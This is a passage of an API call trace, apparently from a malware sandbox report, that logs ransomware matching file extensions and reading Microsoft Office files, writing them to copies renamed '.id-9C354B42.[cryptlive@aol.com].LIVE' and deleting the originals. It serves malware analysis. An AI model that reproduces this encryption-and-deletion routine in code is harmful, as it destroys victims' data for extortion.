returned -1 [0141.268] lstrlenW (lpString=".7z") returned 3 [0141.268] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0141.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0141.268] lstrlenW (lpString=".dbf") returned 4 [0141.268] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0141.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0141.268] lstrlenW (lpString=".1cd") returned 4 [0141.268] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0141.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0141.268] lstrlenW (lpString=".jpg") returned 4 [0141.268] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0141.268] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0141.268] lstrlenW (lpString="GrooveIntlResource.dll") returned 22 [0141.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0141.269] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=8794976) returned 1 [0141.269] CloseHandle (hObject=0x38c) returned 1 [0141.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll")) returned 0x20 [0141.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.269] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0141.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0141.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0141.269] lstrlenW (lpString=".doc") returned 4 [0141.269] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0141.269] lstrlenW (lpString=".docx") returned 5 [0141.269] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0141.269] lstrlenW (lpString=".pdf") returned 4 [0141.269] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0141.269] lstrlenW (lpString=".xls") returned 4 [0141.269] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0141.269] lstrlenW (lpString=".xlsx") returned 5 [0141.269] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0141.269] lstrlenW (lpString=".ppt") returned 4 [0141.269] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0141.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0141.270] lstrlenW (lpString=".zip") returned 4 [0141.270] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0141.270] lstrlenW (lpString=".rar") returned 4 [0141.270] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0141.270] lstrlenW (lpString=".bz2") returned 4 [0141.270] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0141.270] lstrlenW (lpString=".7z") returned 3 [0141.270] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0141.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0141.270] lstrlenW (lpString=".dbf") returned 4 [0141.270] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0141.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0141.270] lstrlenW (lpString=".1cd") returned 4 [0141.270] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0141.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0141.270] lstrlenW (lpString=".jpg") returned 4 [0141.270] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0141.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0141.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0141.270] lstrlenW (lpString=".doc") returned 4 [0141.270] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0141.270] lstrlenW (lpString=".docx") returned 5 [0141.270] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0141.270] lstrlenW (lpString=".pdf") returned 4 [0141.270] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0141.270] lstrlenW (lpString=".xls") returned 4 [0141.270] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0141.270] lstrlenW (lpString=".xlsx") returned 5 [0141.270] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0141.270] lstrlenW (lpString=".ppt") returned 4 [0141.270] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0141.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0141.270] lstrlenW (lpString=".zip") returned 4 [0141.270] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0141.270] lstrlenW (lpString=".rar") returned 4 [0141.270] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0141.271] lstrlenW (lpString=".bz2") returned 4 [0141.271] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0141.271] lstrlenW (lpString=".7z") returned 3 [0141.271] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0141.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0141.271] lstrlenW (lpString=".dbf") returned 4 [0141.271] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0141.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0141.271] lstrlenW (lpString=".1cd") returned 4 [0141.271] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0141.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70 [0141.271] lstrlenW (lpString=".jpg") returned 4 [0141.271] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0141.271] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0141.271] lstrlenW (lpString="GROOVE_COL.HXC") returned 14 [0141.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0141.272] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=626) returned 1 [0141.272] CloseHandle (hObject=0x38c) returned 1 [0141.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc")) returned 0x20 [0141.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0141.273] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.273] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0141.273] GetLastError () returned 0x0 [0141.273] ReadFile (in: hFile=0x38c, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x272, lpOverlapped=0x0) returned 1 [0141.275] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x280, lpOverlapped=0x0) returned 1 [0141.276] ReadFile (in: hFile=0x38c, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.276] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0141.276] SetEndOfFile (hFile=0x1dc) returned 1 [0141.276] CloseHandle (hObject=0x1dc) returned 1 [0141.276] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.276] SetEndOfFile (hFile=0x38c) returned 1 [0141.278] CloseHandle (hObject=0x38c) returned 1 [0141.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.279] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc")) returned 1 [0141.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0141.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0141.280] lstrlenW (lpString=".doc") returned 4 [0141.280] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0141.280] lstrlenW (lpString=".docx") returned 5 [0141.280] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0141.280] lstrlenW (lpString=".pdf") returned 4 [0141.280] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0141.280] lstrlenW (lpString=".xls") returned 4 [0141.280] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0141.280] lstrlenW (lpString=".xlsx") returned 5 [0141.280] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0141.280] lstrlenW (lpString=".ppt") returned 4 [0141.280] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0141.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0141.280] lstrlenW (lpString=".zip") returned 4 [0141.280] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0141.280] lstrlenW (lpString=".rar") returned 4 [0141.280] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0141.280] lstrlenW (lpString=".bz2") returned 4 [0141.280] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0141.280] lstrlenW (lpString=".7z") returned 3 [0141.280] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0141.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0141.280] lstrlenW (lpString=".dbf") returned 4 [0141.280] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0141.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0141.281] lstrlenW (lpString=".1cd") returned 4 [0141.281] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0141.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0141.281] lstrlenW (lpString=".jpg") returned 4 [0141.281] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0141.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0141.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0141.281] lstrlenW (lpString=".doc") returned 4 [0141.281] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0141.281] lstrlenW (lpString=".docx") returned 5 [0141.281] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0141.281] lstrlenW (lpString=".pdf") returned 4 [0141.281] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0141.281] lstrlenW (lpString=".xls") returned 4 [0141.281] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0141.281] lstrlenW (lpString=".xlsx") returned 5 [0141.281] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0141.281] lstrlenW (lpString=".ppt") returned 4 [0141.281] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0141.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0141.281] lstrlenW (lpString=".zip") returned 4 [0141.281] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0141.281] lstrlenW (lpString=".rar") returned 4 [0141.281] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0141.281] lstrlenW (lpString=".bz2") returned 4 [0141.281] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0141.281] lstrlenW (lpString=".7z") returned 3 [0141.281] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0141.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0141.281] lstrlenW (lpString=".dbf") returned 4 [0141.281] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0141.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0141.281] lstrlenW (lpString=".1cd") returned 4 [0141.281] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0141.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0141.282] lstrlenW (lpString=".jpg") returned 4 [0141.282] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0141.282] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0141.282] lstrlenW (lpString="GROOVE_COL.HXT") returned 14 [0141.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0141.282] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=218) returned 1 [0141.282] CloseHandle (hObject=0x38c) returned 1 [0141.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt")) returned 0x20 [0141.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0141.283] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.283] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0142.145] GetLastError () returned 0x0 [0142.145] ReadFile (in: hFile=0x38c, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xda, lpOverlapped=0x0) returned 1 [0142.146] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0142.147] ReadFile (in: hFile=0x38c, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.147] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0142.147] SetEndOfFile (hFile=0x3a8) returned 1 [0142.147] CloseHandle (hObject=0x3a8) returned 1 [0142.148] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.148] SetEndOfFile (hFile=0x38c) returned 1 [0142.150] CloseHandle (hObject=0x38c) returned 1 [0142.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt")) returned 1 [0142.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0142.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0142.246] lstrlenW (lpString=".doc") returned 4 [0142.246] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0142.246] lstrlenW (lpString=".docx") returned 5 [0142.246] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0142.246] lstrlenW (lpString=".pdf") returned 4 [0142.246] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0142.246] lstrlenW (lpString=".xls") returned 4 [0142.246] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0142.246] lstrlenW (lpString=".xlsx") returned 5 [0142.246] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0142.246] lstrlenW (lpString=".ppt") returned 4 [0142.246] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0142.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0142.246] lstrlenW (lpString=".zip") returned 4 [0142.246] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0142.246] lstrlenW (lpString=".rar") returned 4 [0142.247] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0142.247] lstrlenW (lpString=".bz2") returned 4 [0142.247] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0142.247] lstrlenW (lpString=".7z") returned 3 [0142.247] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0142.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0142.247] lstrlenW (lpString=".dbf") returned 4 [0142.247] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0142.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0142.247] lstrlenW (lpString=".1cd") returned 4 [0142.247] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0142.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0142.247] lstrlenW (lpString=".jpg") returned 4 [0142.247] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0142.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0142.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0142.247] lstrlenW (lpString=".doc") returned 4 [0142.247] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0142.247] lstrlenW (lpString=".docx") returned 5 [0142.247] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0142.247] lstrlenW (lpString=".pdf") returned 4 [0142.247] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0142.247] lstrlenW (lpString=".xls") returned 4 [0142.247] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0142.247] lstrlenW (lpString=".xlsx") returned 5 [0142.247] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0142.247] lstrlenW (lpString=".ppt") returned 4 [0142.247] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0142.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0142.247] lstrlenW (lpString=".zip") returned 4 [0142.247] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0142.247] lstrlenW (lpString=".rar") returned 4 [0142.247] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0142.247] lstrlenW (lpString=".bz2") returned 4 [0142.247] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0142.247] lstrlenW (lpString=".7z") returned 3 [0142.248] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0142.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0142.248] lstrlenW (lpString=".dbf") returned 4 [0142.248] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0142.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0142.248] lstrlenW (lpString=".1cd") returned 4 [0142.248] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0142.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0142.248] lstrlenW (lpString=".jpg") returned 4 [0142.248] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0142.248] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0142.248] lstrlenW (lpString="INFOPATHEDITOR_COL.HXC") returned 22 [0142.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0142.248] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=666) returned 1 [0142.248] CloseHandle (hObject=0x2f8) returned 1 [0142.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc")) returned 0x20 [0142.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0142.249] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.249] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0142.250] GetLastError () returned 0x0 [0142.250] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x29a, lpOverlapped=0x0) returned 1 [0142.308] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, 